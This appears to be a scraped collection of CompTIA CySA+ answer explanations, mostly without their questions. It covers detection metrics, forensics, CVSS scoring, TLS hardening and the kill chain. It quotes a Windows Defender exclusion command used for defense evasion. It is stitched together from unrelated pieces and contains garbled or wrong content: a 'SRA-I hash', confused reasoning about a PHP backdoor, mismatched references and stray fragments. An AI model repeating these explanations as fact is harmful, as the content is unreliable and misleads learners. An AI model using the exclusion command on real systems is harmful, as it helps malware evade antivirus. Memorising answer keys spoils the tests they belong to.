Mean time to detect (MTTD) is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system. MTTD is a metric that measures how long it takes to detect a security incident or threat from the time it occurs. MTTD can be improved by using tools and processes that can collect, correlate, analyze, and alert on security data from various sources. SIEM, SOAR, and ticketing systems are examples of such tools and processes that can help reduce MTTD and enhance security operations. Official References: https://www.eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack

Thegoal of forensic analysisin a post-incident scenario is to identify theroot causeof the incident. This helps prevent future occurrences and enhances the security posture of the organization​.

Option A (Full picture of risks)is more aligned with a risk assessment rather than forensic analysis.

Option B (Notifying law enforcement)depends on the situation, but forensic analysis is performed even when legal action is not involved.

Option C (Further containment)is part of incident response, but forensic analysis happensaftercontainment.

Thus,D is the correct answer, asdetermining root cause is the key objective of forensic analysis​.

tcpdump is a command-line tool that can capture and analyze network packets from a given interface or file. The -n option prevents tcpdump from resolving hostnames, which can speed up the analysis. The -r option reads packets from a file, in this case packets.pcap. The host [IP address] filter specifies that tcpdump should only display packets that have the given IP address as either the source or thedestination. This command can help the security analyst detect connections to a suspicious IP address by collecting the packet captures from the gateway. Official References:

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

https://www.techtarget.com/searchsecurity/quiz/Sample-CompTIA-CySA-test-questions-with-answers

https://www.reddit.com/r/CompTIA/comments/tmxx84/passed_cysa_heres_my_experience_and_how_i_studied/

Time synchronization is the process of ensuring that all systems in a network have the same accurate time, which is essential for correlating data points from different sources. If the system has an issue with time synchronization, the analyst may have difficulty matching events that occurred at the same time or in a specific order. Access rights, network segmentation, and invalid playbook are not directly related to the issue of correlating data points. Verified References: [CompTIA CySA+ CS0-002 Certification Study Guide], page 23

Comprehensive Detailed Explanation:To match the mitigation criteria, we analyze each machine’s CVSS (Common Vulnerability Scoring System) attributes:

Attack Vector (AV): N for network (matches the requirement of network-based attack).

Attack Complexity (AC): L for low (meets the requirement for low complexity).

Privileges Required (PR): N for none (indicating no privileges are needed).

User Interaction (UI): N for none (matches the requirement that no user action is needed).

Confidentiality (C), Integrity (I), and Availability (A): Requires high confidentiality and availability with low integrity.

From these criteria:

Computer1 requires user interaction (UI:R), which disqualifies it.

Computer2 has a local attack vector (AV:L), which disqualifies it for a network-based attack.

Computer3 has a high attack complexity (AC:H), which does not meet the low complexity requirement.

Computer4 meets all criteria: network attack vector, low complexity, no privileges, no user interaction, and appropriate confidentiality, integrity, and availability levels.

Thus, Computer4 is the correct answer.

Enabling a user account lockout policy is a security measure that can effectively mitigate brute-force attacks. After a predetermined number of consecutive failed login attempts, the account will be locked, preventing the attacker from continuing to try different password combinations. This control directly addresses the issue of multiple failed attempts from the same IP address using a single user account, making it the most effective among the options provided. Option B suggests replacing RDP with another remote access tool, which does not address the brute-force attempt but rather avoids the RDP protocol. Option C, implementing a firewall block, could be effective but does not prevent attacks from other IP addresses and may not be as immediate. Option D, increasing log verbosity, enhances monitoring but does not prevent the attack itself.

Defense evasion is the technique of avoiding detection or prevention by security tools or mechanisms. In this case, the freeware program is likely a malware that generates random DNS queries to communicate with a command and control server or exfiltrate data. The command Add-MpPreference -ExclusionPath '%Program Filest\ksysconfig' is used to add an exclusion path to Windows Defender, which is a built-in antivirus software, to prevent it from scanning the malware folder. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 204; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 212. pr

This is because scanning without admin privileges can limit the scope and accuracy of the vulnerability scan, and potentially miss some critical vulnerabilities that require higher privileges to detect. According to the OWASP Vulnerability Management Guide1, “scanning without administrative privileges will result in a large number of false negatives and an incomplete scan”. Therefore, the analyst should recommend addressing this issue to ensure potential vulnerabilities are identified.

A lessons-learned review is a process of evaluating the effectiveness and efficiency of the incident response plan after an incident or an exercise. The purpose of the review is to identify the strengths and weaknesses of the incident response plan, and to update it accordingly to improve the future performance and resilience of the organization. Therefore, the incident response plan should be updated after a lessons-learned review.

The most likely vulnerability in this system is hard-coded credential. Hard-coded credential is a practice of embedding or storing a username, password, or other sensitive information in the source code or configuration file of a system or application. Hard-coded credential can pose a serious security risk, as it can expose the system or application to unauthorized access, data theft, or compromise if the credential is discovered or leaked by an attacker. Hard-coded credential can also make it difficult to change or update the credential if needed, as it may require modifying the code or file and redeploying the system or application. 

The signature of the malware is a unique identifier that can be used to compare it with known malware samples and their behaviors. Open-source threat intelligence sources provide information on various types of malware, their indicators of compromise, and their mitigation strategies. By cross-referencing the signature with these sources, the analyst can determine the type of malware and its telemetry. The other options are not relevant for this purpose: configuring the EDR to perform a full scan may not provide additional information on the malware type; transferring the malware to a sandbox environment may expose the analyst to further risks; logging in to the affected systems and running netstat may not reveal the malware activity.

The best action that would allow the analyst to gather intelligence without disclosing information to the attackers is to upload the binary to an air gapped sandbox for analysis. An air gapped sandbox is an isolated environment that has no connection to any external network or system. Uploading the binary to an air gapped sandbox can prevent any communication or interaction between the binary and the attackers, as well as any potential harm or infection to other systems or networks. An air gapped sandbox can also allow the analyst to safely analyze and observe the behavior, functionality, or characteristics of the binary. 

MITRE ATT&CK is a framework and knowledge base that describes the tactics, techniques, and procedures (TTPs) used by various adversaries in cyberattacks. MITRE ATT&CK can help security analysts compare TTPs between different known adversaries of an organization, as well as identify patterns, gaps, or trends in adversary behavior. MITRE ATT&CK can also help security analysts improve threat detection, analysis, and response capabilities, as well as share threat intelligence with other organizations or communities

Placing a legal hold on the employee’s mailbox is the best action to perform first, as it preserves all mailbox content, including deleted items and original versions of modified items, for potential legal or forensic purposes. A legal hold is a feature that allows an administrator to retain mailbox data for a user indefinitely or for a specified period, regardless of the user’s actions or retention policies. A legal hold can be applied to a mailbox using Litigation Hold or In-Place Hold in Exchange Server or Exchange Online. A legal hold can help to ensure that evidence of data exfiltration or other malicious activities is not lost or tampered with, and that the organization can comply with any legal or regulatory obligations. The other actions are not as urgent or effective as placing a legal hold on the employee’s mailbox, as they do not address the immediate threat of data loss or compromise. Enabling filtering on the web proxy may help to prevent some types of data exfiltration or malicious traffic, but it does nothelp to recover or preserve the data that has already been emailed externally. Disabling the public email access with CASB (Cloud Access Security Broker) may help to block or monitor the use of public email services by employees, but it does not help to recover or preserve the data that has already been emailed externally. Configuring a deny rule on the firewall may help to block or monitor the network traffic from the employee’s laptop, but it does not help to recover or preserve the data that has already been emailed externally.

Automation is the best concept to describe the example, as it reflects the use of technology to perform tasks or processes without human intervention. Automation can help to improve efficiency, accuracy, consistency, and scalability of various operations, such as identity and access management (IAM). IAM is a security framework that enables organizations to manage the identities and access rights of users and devices across different systems and applications. IAM can help to ensure that only authorized users and devices can access the appropriate resources at the appropriate time and for the appropriate purpose. IAM can involve various tasks or processes, such as authentication, authorization, provisioning, deprovisioning, auditing, or reporting. Automation can help to simplify and streamline these tasks or processes by using software tools or scripts that can execute predefined actions or workflows based on certain triggers or conditions. For example, automation can help to create, update, or delete user accounts in bulk based on a file or a database, rather than manually entering or modifying each account individually. The example in the question shows that an API is used to insert bulk access requests from a file into an identity management system. An API (Application Programming Interface) is a set of rules or specifications that defines how different software components or systems can communicate and exchange data with each other. An API can help to enable automation by providing a standardized and consistent way to access and manipulate data or functionality of a software component or system. The example in the question shows that an API is used to automate the process of inserting bulk access requests from a file into an identity management system, rather than manually entering each request one by one. The other options are not correct, as they describe different concepts or techniques. Command and control is a term that refers to the ability of an attacker to remotely control a compromised system or device, such as using malware or backdoors. Command and control is not related to what is described in the example. Data enrichment is a term that refers to the process of enhancing or augmenting existing data with additional information from external sources, such as adding demographic or behavioral attributes to customer profiles. Data enrichment is not related to what is described in the example. Single sign-on is a term that refers to an authentication method thatallows users to access multiple systems or applications with one set of credentials, such as using a single username and password for different websites or services. Single sign-on is not related to what is described in the example.

In this scenario, the security analyst is presented with multiple vulnerabilities, including a critical zero-day vulnerability affecting the web server with a CVSS score of 10. The CVSS (Common Vulnerability Scoring System) provides a standardized method for rating IT vulnerabilities, with a score of 10 indicating the highest severity.

Option A:Contact the web systems administrator and request that they shut down the asset.

Correct Choice:Given the critical nature of a zero-day vulnerability with a CVSS score of 10, immediate action is warranted to prevent potential exploitation. Shutting down the affected web server reduces the attack surface and mitigates the risk until a patch or workaround is available. This aligns with incident response best practices, where containment is a priority to prevent further damage.

Option B:Monitor the patch releases for all items and escalate patching to the appropriate team.

Incorrect Choice:While monitoring for patches is essential, it is a reactive approach. In the case of a zero-day vulnerability with active exploitation potential, waiting for a patch without implementing immediate protective measures exposes the organization to significant risk.

Option C:Run the vulnerability scan again to verify the presence of the critical finding and the zero-day vulnerability in the environment.

Incorrect Choice:Re-scanning may confirm the vulnerability's presence but does not address the immediate threat. Action to mitigate the risk should take precedence over verification, especially when the vulnerability is known and critical.

Option D:Forward the advisory to the web security team and initiate the prioritization strategy for the other vulnerabilities.

Incorrect Choice:Communicating with the web security team is important; however, in the face of a critical zero-day vulnerability, immediate action (such as shutting down the affected asset) is necessary before addressing other vulnerabilities.

A sandbox environment is a safe and isolated way to analyze malware without affecting the organization’s network. An online service can provide a sandbox environment without requiring the security analyst to set up a virtual host or use an RDP session. Disconnecting and using an existing infected asset is risky and may not provide accurate results. References: Malware Analysis: Steps & Examples, Dynamic Analysis

The primary purpose ofdata classificationis to determine the value of data to the organization. This helps in definingprotection levels, access controls, and risk mitigation strategies.

Option A (Regulatory compliance requirements)is important but not the primary reason. Compliance is a result of data classification, not its purpose.

Option B (Facilitating DLP rules)is a secondary benefit, but classification is broader and not limited to DLP.

Option C (Prioritizing IT expenses)is unrelated to why organizations classify data​.

Thus,D is the correct answer, asclassification helps organizations prioritize data protection based on its value.

Comprehensive and Detailed Step-by-Step Explanation:Remediated incidents is a key performance indicator (KPI) that measures how effectively incidents are resolved and communicated during the incident response lifecycle. It reflects the program's success in mitigating risks and restoring normal operations. Other options (e.g., mean time to detect) are important metrics but do not directly measure reporting or communication effectiveness.

The most likely explanation for this traffic pattern is C2 beaconing activity. C2 stands for command and control, which is a phase of the Cyber Kill Chain that involves the adversary attempting to establish communication with a successfully exploited target. C2 beaconing activity is a type of network traffic that indicates a compromised system is sending periodic messages or signals to an attacker’s system using various protocols, such as HTTP(S), DNS, ICMP, or UDP. C2 beaconingactivity can enable the attacker to remotely control or manipulate the target system or network using various methods, such as malware callbacks, backdoors, botnets, or covert channels.

The correct answers for key factors in the change management process to reduce the impact of system failures are:

D. Identify assets with dependence that could be impacted by the change.

F. Ensure that all assets are properly listed in the inventory management system.

D. Identify assets with dependence that could be impacted by the change: This is crucial in change management because understanding the interdependencies among assets can help anticipate and mitigate the potential cascading effects of a change. By identifying these dependencies, the organization can plan more effectively for changes and minimize the risk of unintended consequences that could lead to system failures.

F. Ensure that all assets are properly listed in the inventory management system: Maintaining an accurate and comprehensive inventory of assets is fundamental in change management. Knowing exactly what assets the organization possesses and their characteristics allows for better planning and impact analysis when changes are made. This ensures that no critical component is overlooked during the change process, reducing the risk of failures due to incomplete information.

Other Options:

A. Ensure users document system recovery plan prior to deployment: While documenting a system recovery plan is important, it's more related to disaster recovery and business continuity planning than directly reducing the impact of system failures due to changes.

B. Perform a full system-level backup following the change: While backups are essential, they are generally a reactive measure to recover from a failure, rather than a proactive measure to reduce the impact of system failures in the first place.

C. Leverage an audit tool to identify changes that are being made: While using an audit tool is helpful for tracking changes and ensuring compliance, it is not directly linked to reducing the impact of system failures due to changes.

E. Require diagrams to be completed for all critical systems: While having diagrams of critical systems is useful for understanding and managing them, it is not a direct method for reducing the impact of system failures due to changes. Diagrams are more about documentation and understanding rather than proactive change management.

Automatingthe generation of NIDS (Network Intrusion Detection System) rulesbased onStructured Threat Information eXpression (STIX) messagesis apractical use of automationin security operations​.

Option B (Privileged access requests)should involve human oversight due to thehigh risk of unauthorized access.

Option C (PKI identity verification)requires manualdocument verificationandhuman approval.

Option D (Malware analysis)often requiressandboxing and behavioral analysis, which benefit from human expertise.

Thus,A is the correct answer, asautomating threat intelligence ingestion and rule creation enhances efficiency in intrusion detection​.

Comprehensive Detailed Explanation:To safely analyze malware while avoiding unintended disclosure of company information, it is best to use a local sandbox in a microsegmented environment. Here’s why:

A. Upload the malware to the VirusTotal website

Risk: VirusTotal and similar services are public and may share uploaded files with other security vendors, potentially exposing proprietary or sensitive information.

B. Share the malware with the EDR provider

Limitation: While EDR providers may offer insight, sharing potentially sensitive malware samples externally still introduces risk of disclosure or data leaks.

C. Hire an external consultant to perform the analysis

Cost and Risk: Hiring an external consultant can be costly and may introduce risks related to third-party handling of sensitive data. Although it may provide insights, this is typically not the most efficient initial response.

D. Use a local sandbox in a microsegmented environment

Explanation: A local sandbox provides a secure, isolated environment for malware analysis without exposing sensitive data outside the organization. Microsegmentation enhances security by further isolating the sandbox from the network, preventing lateral movement if the malware attempts to communicate externally.

The correct answer is A. Configure the server to prefer TLS 1.3 and B. Remove cipher suites that use CBC.

A padding oracle attack is a type of attack that exploits the padding validation of a cryptographic message to decrypt the ciphertext without knowing the key. A padding oracle is a system that responds to queries about whether a message has a valid padding or not, such as a web server that returns different error messages for invalid padding or invalid MAC. A padding oracle attack can be applied to the CBC mode of operation, where the attacker can manipulate the ciphertext blocks and use the oracle’s responses to recover the plaintext12.

To remediate this issue, the organization should make the following configuration changes:

Configure the server to prefer TLS 1.3. TLS 1.3 is the latest version of the Transport Layer Security protocol, which provides secure communication between clients and servers. TLS 1.3 has several security improvements over previous versions, such as:

It deprecates weak and obsolete cryptographic algorithms, such as RC4, MD5, SHA-1, DES, 3DES, and CBC mode.

It supports only strong and modern cryptographic algorithms, such as AES-GCM, ChaCha20-Poly1305, and SHA-256/384.

It reduces the number of round trips required for the handshake protocol, which improves performance and latency.

It encrypts more parts of the handshake protocol, which enhances privacy and confidentiality.

It introduces a zero round-trip time (0-RTT) mode, which allows resuming previous sessions without additional round trips.

It supports forward secrecy by default, which means that compromising the long-term keys does not affect the security of past sessions3456.

Remove cipher suites that use CBC. Cipher suites are combinations of cryptographic algorithms that specify how TLS connections are secured. Cipher suites that use CBC mode are vulnerable to padding oracle attacks, as well as other attacks such as BEAST and Lucky 13. Therefore, they should be removed from the server’s configuration and replaced with cipher suites that use more secure modes of operation, such as GCM or CCM78.

The other options are not effective or necessary to remediate this issue.

Option C is not effective because configuring the server to prefer ephemeral modes for key exchange does not prevent padding oracle attacks. Ephemeral modes for key exchange are methods that generate temporary and random keys for each session, such as Diffie-Hellman or Elliptic Curve Diffie-Hellman. Ephemeral modes provide forward secrecy, which means that compromising the long-term keys does not affect the security of past sessions. However, ephemeral modes do not protect against padding oracle attacks, which exploit the padding validation of the ciphertext rather than the key exchange9.

Option D is not necessary because requiring client browsers to present a user certificate for mutual authentication does not prevent padding oracle attacks. Mutual authentication is a process that verifies the identity of both parties in a communication, such as using certificates or passwords. Mutual authentication enhances security by preventing impersonation or spoofing attacks. However, mutual authentication does not protect against padding oracle attacks, which exploit the padding validation of the ciphertext rather than the authentication.

Option E is not necessary because configuring the server to require HSTS does not prevent padding oracle attacks. HSTS stands for HTTP Strict Transport Security and it is a mechanism that forces browsers to use HTTPS connections instead of HTTP connections when communicating with a web server. HSTS enhances security by preventing downgrade or man-in-the-middle attacks that try to intercept or modify HTTP traffic. However, HSTS does not protect against padding oracle attacks, which exploit the padding validation of HTTPS traffic rather than the protocol.

Option F is not effective because removing cipher suites that use GCM does not prevent padding oracle attacks. GCM stands for Galois/Counter Mode and it is a mode of operation that provides both encryption and authentication for block ciphers, such as AES. GCM is more secure and efficient thanCBC mode, as it prevents various types of attacks, such as padding oracle, BEAST, Lucky 13, and IV reuse attacks. Therefore, removing cipher suites that use GCM would reduce security rather than enhance it .

The best option to quickly find out whether the IP address in a SIEM alert is a known-malicious IP address is C. Add data enrichment for IPS in the ingestion pipeline.

Data enrichment is the process of adding more information and context to raw data, such as IP addresses, by using external sources. Data enrichment can help analysts to gain more insights into the nature and origin of the threats they face, and to prioritize and respond to them accordingly. Dataenrichment for IPS (Intrusion Prevention System) means that the IPS can use enriched data to block or alert on malicious traffic based on various criteria, such as geolocation, reputation, threat intelligence, or behavior. By adding data enrichment for IPS in the ingestion pipeline, analysts can leverage the IPS’s capabilities to filter out known-malicious IP addresses before they reach the SIEM, or to tag them with relevant information for further analysis. This can save time and resources for the analysts, and improve the accuracy and efficiency of the SIEM.

The other options are not as effective or efficient as data enrichment for IPS in the ingestion pipeline. Joining an information sharing and analysis center (ISAC) specific to the company’s industry (A) can provide valuable threat intelligence and best practices, but it may not be timely or comprehensive enough to cover all possible malicious IP addresses. Uploading threat intelligence to the IPS in STIX/TAXII format (B) can help the IPS to identify and block malicious IP addresses based on standardized indicators of compromise, but it may require manual or periodic updates and integration with the SIEM. Reviewing threat feeds after viewing the SIEM alert (D) can help analysts to verify and contextualize the malicious IP addresses, but it may be too late or too slow to prevent or mitigate the damage. Therefore, C is the best option among the choices given.

The Command and Control stage of the Cyber Kill Chain describes the communication between the attacker and the compromised system. The attacker may use this channel to send commands, receive data, or update malware. If the analyst discovers unusual outbound connections to an IP that was previously blocked, it may indicate that the attacker has established a command and control channel and bypassed the security controls. References: Cyber Kill Chain® | Lockheed Martin

Key Performance Indicators (KPIs) in incident response exercises help organizationsprioritize improvements by measuring response effectiveness, containment success, and recovery speed. This ensures that resources are focused on the most critical areas for enhancement​.

Option A (Personal performance tracking)is more relevant to HR evaluations rather than cybersecurity operations.

Option B (Describing incident resolution)is important but does notdefine future priorities.

Option D (Identifying tools to use)is useful but not the primary function of KPIs.

Thus,C is the correct answer, asKPIs help teams identify the most urgent areas for improvement​.

Determining what attack the odd characters are indicative of is the next step that should be taken after reviewing web server logs and noticing several entries with the same time stamps, but all contain odd characters in the request line. This step can help the analyst identify the type and severity of the attack, as well as the possible source and motive of the attacker. The odd characters in the request line may indicate that the attacker is trying to exploit a vulnerability or inject malicious code into the web server or application, such as SQL injection, cross-site scripting, buffer overflow, or command injection. The analyst can use tools and techniques such as log analysis, pattern matching, signature detection, or threat intelligence to determine what attack the odd characters are indicative of, and then proceed to the next steps of incident response, such as containment, eradication, recovery, and lessons learned. Official References:

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

https://www.comptia.org/certifications/cybersecurity-analyst

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

An incident response plan (IRP) is a document that defines the roles and responsibilities, procedures, and guidelines for responding to a security incident. It helps the security team to act quickly and effectively, minimizing the impact and cost of the incident. An IRP should specify who should conduct the next steps following a security event, such as containment, eradication, recovery, and analysis12. References: CompTIA CySA+ CS0-003 Certification Study Guide, page 362; 6 Incident Response Steps to Take After a Security Event, section 2.

Business process interruption is the inhibitor to remediation that this scenario illustrates. Business process interruption is when the remediation of a vulnerability or an incident requires the disruption or suspension of a critical or essential business process, such as the point-of-sale application. This can cause operational, financial, or reputational losses for the organization, and may outweigh the benefits of the remediation. Therefore, the organization may decide to postpone or avoid the remediation until a more convenient time, such as a change freeze window, which is a period of time when no changes are allowed to the IT environment12. Service-level agreement, degrading functionality, and proprietary system are other possible inhibitors to remediation, but they are not relevant to this scenario. Service-level agreement is when the remediation of a vulnerability or an incident violates or affects the contractual obligations or expectations of the service provider or the customer. Degrading functionality is when the remediation of a vulnerability or an incident reduces or impairs the performance or usability of a system or an application. Proprietary system is when the remediation of a vulnerability or an incident involves a system or an application that is owned or controlled by a third party, and the organization has limited or no access or authority to modify it3. References: Inhibitors to Remediation — SOC Ops Simplified, Remediation Inhibitors - CompTIA CySA+, Information security Vulnerability Management Report (Remediation…

The Diamond Model of Intrusion Analysis is a framework that helps analysts to understand the relationships between the adversary, the victim, the infrastructure, and the capability involved in an attack. It also enables analytical pivoting, which is the process of moving from one piece of information to another related one, and identifies knowledge gaps that need further investigation. 

A nation-state actor is a group or individual that conducts cyberattacks on behalf of a government or a political entity. They are usually motivated by national interests, such as espionage, sabotage, or influence operations. They are often highly skilled, resourced, and persistent, and they operate with the protection or support of their state sponsors. Therefore, they are less likely to be concerned with the forensic analysis for legal action of their actions, as they are unlikely to face prosecution or extradition in their own country or by international law. They are more likely to be concerned with the detection by the MITRE ATT&CK framework, which is a knowledge base of adversary tactics and techniques based on real-world observations. The MITRE ATT&CK framework can help defenders identify, prevent, and respond to cyberattacks by nation-state actors. They are also likely to be concerned with the detection or prevention of reconnaissance activities, which are the preliminary steps of cyberattacks that involve gathering information about the target, such as vulnerabilities, network topology, or user credentials. Reconnaissance activities can expose the presence, intent, and capabilities of the attackers, and allow defenders to take countermeasures. Finally, they are likely to be concerned with the examination of their actions and objectives, which can reveal their motives, strategies, and goals, and help defenders understand their threat profile and attribution.

The first and most urgent step to mitigate the impact of compromised credentials on the dark web is to perform a forced password reset for the affected user. This will prevent the cybercriminals from using the stolen credentials to access the company’s network and systems. Multifactor authentication is a good security measure, but it is not foolproof and can be bypassed by sophisticated attackers. Therefore, changing the password as soon as possible is the best practice to reduce the risk of a data breach or other cyber attack123 References: 1: How to monitor the dark web for compromised employee credentials 2: How to prevent corporate credentials ending up on the dark web 3: Data Breach Prevention: Identifying Leaked Credentials on the Dark Web

Weaponization is the stage of the Cyber Kill Chain where the attacker creates or modifies a malicious payload to use against a target. In this case, the disgruntled open-source developer has created a logic bomb that will act as a wiper, which is a type of malware that destroys data on a system. This is an example of weaponization, as the developer has prepared a cyberweapon to sabotage the code repository.

The next step in the remediation process after applying a software patch is validation. Validation is a process that involves verifying that the patch has been successfully applied, that it has fixed the vulnerability, and that it has not caused any adverse effects on the system or application functionality or performance. Validation can be done using various methods, such as scanning, testing, monitoring, or auditing.

Agent-based scansare runlocally on hostsvia installed agents, whichsignificantly reduces network trafficwhile allowing in-depth visibility and accurate scanning. They’re ideal for bandwidth-limited or sensitive networks.

Credentialed scans (A)still transmit data over the network.

Individual scans (B)is ambiguous and not a standard term.

Baseline scans (C)focus on policy compliance, not reducing traffic.

?Reference:

Chapple & Seidl – Vulnerability Management, Chapter 6: Scanning Techniques

CS0-003 Domain 2.1 – Vulnerability Scanning Methods

The observed activity from a privileged account indicates an insider attack, which is when a trusted user or employee misuses their access rights to compromise the security of the organization. Accessing emails and sensitive information, modifying audit logs, and logging in at abnormal times are all signs of malicious behavior by a privileged user who may be trying to steal, tamper, or destroy data, or cover their tracks. An insider attack can cause significant damage to the organization’s reputation, operations, and compliance12. References: The Privileged Identity Playbook Guides Management of Privileged User Accounts, How to Track Privileged Users’ Activities in Active Directory

Making a forensic image of the device and creating a SRA-I hash is the best step to preserve evidence, as it creates an exact copy of the device’s data and verifies its integrity. A forensic image is a bit-by-bit copy of the device’s storage media, which preserves all the information on the device, including deleted or hidden files. A SRA-I hash is a cryptographic value that is calculated from the forensic image, which can be used to prove that the image has not been altered or tampered with. The other options are not as effective as making a forensic image and creating a SRA-I hash, as they may not capture all the relevant data, or they may not provide sufficient verification of the evidence’s authenticity. Official References:

https://www.sans.org/blog/forensics-101-acquiring-an-image-with-ftk-imager/

https://swailescomputerforensics.com/digital-forensics-imaging-hash-value/

Implementing controls to block execution of untrusted applications can prevent privilege escalation attacks that leverage native Windows tools, such as PowerShell, WMIC, or Rundll32. These tools canbe used by attackers to run malicious code or commands with elevated privileges, bypassing system security policies and controls. By restricting the execution of untrusted applications, organizations can reduce the attack surface and limit the potential damage of privilege escalation attacks.

Comprehensive and Detailed Step-by-Step Explanation:The logs indicate that the OWASP DirBuster tool is being used. This tool is designed for directory brute-forcing to find hidden files or directories on a web server, which aligns with reconnaissance activities. The series of GET and HEAD requests further confirm directory and file enumeration attempts.

Microsegmentation involves dividing a network into smaller, isolated segments to restrict lateral movement within the network. This is crucial within a Zero Trust architecture, which assumes that no entity (internal or external) is inherently trustworthy. By limiting access to only necessary network segments, microsegmentation reduces the impact of a potential breach by containing it within a limited area. CompTIA emphasizes microsegmentation as an effective strategy to minimize risk and improve security posture by isolating resources based on the principle of least privilege.

This option represents the least impactful risk because it has the lowest base score among the four options, and it also requires high privileges, user interaction, and high attack complexity to exploit, which reduces the likelihood of a successful attack.

A prioritized list of critical systems defined by executive leadership is the best option to use to develop a business continuity plan. A business continuity plan (BCP) is a system of prevention and recovery from potential threats to a company. The plan ensures that personnel and assets are protected and are able to function quickly in the event of a disaster1. A BCP should include a business impact analysis, which identifies the critical systems and processes that are essential for the continuity of the business operations, and the potential impacts of their disruption2. The executive leadership should be involved in defining the critical systems and their priorities, as they have the strategic vision and authority to make decisions that affect the whole organization3. A diagram of all systems and interdependent applications, a repository for all the software used by the organization, and a configuration management database in print at an off-site location are all useful tools for documenting and managing the IT infrastructure, but they are not sufficient to develop a comprehensive BCP that covers all aspects of the business continuity4. References: What Is a Business Continuity Plan (BCP), and How Does It Work?, Business continuity plan (BCP) in 8 steps, with templates, Business continuity planning | Business Queensland, Understanding the Essentials of a Business Continuity Plan

The correct answer is A. System hardening.

System hardening is the process of securing a system by reducing its attack surface, applying patches and updates, configuring security settings, and implementing security controls. System hardening can help prevent or mitigate vulnerability events that may affect operating systems. Host-based IPS, firewalls, and two-factor authentication are examples of security controls that can be applied to harden a system1.

The other options are not the best descriptions of the scenario. A hybrid network architecture (B) is a network design that combines on-premises and cloud-based resources, which may or may not involve system hardening. Continuous authorization © is a security approach that monitors and validates the security posture of a system on an ongoing basis, which is different from system hardening. Secure access service edge (D) is a network architecture that delivers cloud-based security services to remote users and devices, which is also different from system hardening.

The correct answer is A. Implanted a backdoor.

A backdoor is a method that allows an unauthorized user to access a system or network without the permission or knowledge of the owner. A backdoor can be installed by exploiting a software vulnerability, by using malware, or by physically modifying the hardware or firmware of the device. A backdoor can be used for various malicious purposes, such as stealing data, installing malware, executing commands, or taking control of the system.

In this case, the consultant implanted a backdoor in the website by using an HTML and PHP code snippet that displays an image of a shutdown button and an alert message that says “Exit”. However, the code also echoes the remote address of the server, which means that it sends the IP address of the visitor to the attacker. This way, the attacker can identify and target the visitors of the website and use their IP addresses to launch further attacks or gain access to their devices.

The code snippet is an example of a clickjacking attack, which is a type of interface-based attack that tricks a user into clicking on a hidden or disguised element on a webpage. However, clickjacking is not the main goal of the consultant, but rather a means to implant the backdoor. Therefore, option C is incorrect.

Option B is also incorrect because privilege escalation is an attack technique that allows an attacker to gain higher or more permissions than they are supposed to have on a system or network. Privilege escalation can be achieved by exploiting a software vulnerability, by using malware, or by abusing misconfigurations or weak access controls. However, there is no evidence that the consultant implemented privilege escalation on the website or gained any elevated privileges.

Option D is also incorrect because patching is a process of applying updates to software to fix errors, improve performance, or enhance security. Patching can prevent or mitigate various types of attacks, such as exploits, malware infections, or denial-of-service attacks. However, there is no indication that the consultant patched the web server or improved its security in any way.

The function that would help the analyst identify IP addresses from the same country is:

function x() { info=$(geoiplookup $1) && echo “$1 | $info” }

This function takes an IP address as an argument and uses the geoiplookup command to get the geographic location information associated with the IP address, such as the country name, country code, region, city, or latitude and longitude. The function then prints the IP address and the geographic location information, which can help identify any IP addresses that belong to the same country. 

Comprehensive Detailed Explanation:The nmap scan results show that Telnet (port 23) is open. Telnet transmits data, including credentials, in plaintext, which is insecure and should be disabled to enhance security. Here’s an explanation of each option:

A. Disable all protocols that do not use encryption

Explanation: Disabling unencrypted protocols (such as Telnet) reduces exposure to man-in-the-middle (MITM) attacks and credential sniffing. Telnet should be replaced with a secure protocol like SSH, which provides encryption for transmitted data.

B. Configure client certificates for domain services

Explanation: While client certificates enhance authentication security, they are more relevant to services like LDAP over SSL (port 636), which is already secure. This would not address the Telnet vulnerability.

C. Ensure that this system is behind a NGFW

Explanation: A Next-Generation Firewall (NGFW) provides enhanced network security, but it may not mitigate the risks of unencrypted protocols if they are allowed internally.

D. Deploy a publicly trusted root CA for secure websites

Explanation: Public root CAs are used for website authentication and encryption, relevant only if this system is hosting a publicly accessible HTTPS service. It would not impact Telnet security.

The best way to begin preparation for a report titled “What We Learned” regarding a recent incident involving a cybersecurity breach is to determine the sophistication of the audience that the report is meant for. The sophistication of the audience refers to their level of technical knowledge, understanding, or interest in cybersecurity topics. Determining the sophistication of the audience can help tailor the report content, language, tone, and format to suit their needs and expectations. Forexample, a report for executive management may be more concise, high-level, and business-oriented than a report for technical staff or peers.

To identify existing vulnerabilities in the web application, the best options are to contract a penetration test and create a bug bounty program. A penetration test simulates attacks against the application to uncover security flaws proactively. A bug bounty program incentivizes external security researchers to find and report vulnerabilities, expanding the testing scope without overburdening internal resources. According to CompTIA CySA+, both methods are highly effective in identifying vulnerabilities from an external perspective, particularly when internal resources are limited. Options like a WAF (A) focus more on prevention than detection, while threat modeling (F) and tabletop exercises (D) are generally proactive measures not focused on active flaw identification.

SOAR stands for Security Orchestration, Automation and Response, which is a set of features that can help security teams manage, prioritize and respond to security incidents more efficiently and effectively. SOAR can help decrease the workload without increasing staff by automating repetitive tasks, streamlining workflows, integrating different tools and platforms, and providing actionable insights and recommendations. SOAR is also one of the current trends that CompTIA CySA+ covers in its exam objectives. Official References:

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

https://www.comptia.org/certifications/cybersecurity-analyst

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

The correct answer is B. Allowlisting.

Allowlisting is a technique that allows only pre-approved web-based software to run on a system or network, while blocking all other software. Allowlisting can help prevent unauthorized or malicious software from compromising the security of an organization. Allowlisting can be implemented using various methods, such as application control, browser extensions, firewall rules, or proxy servers12.

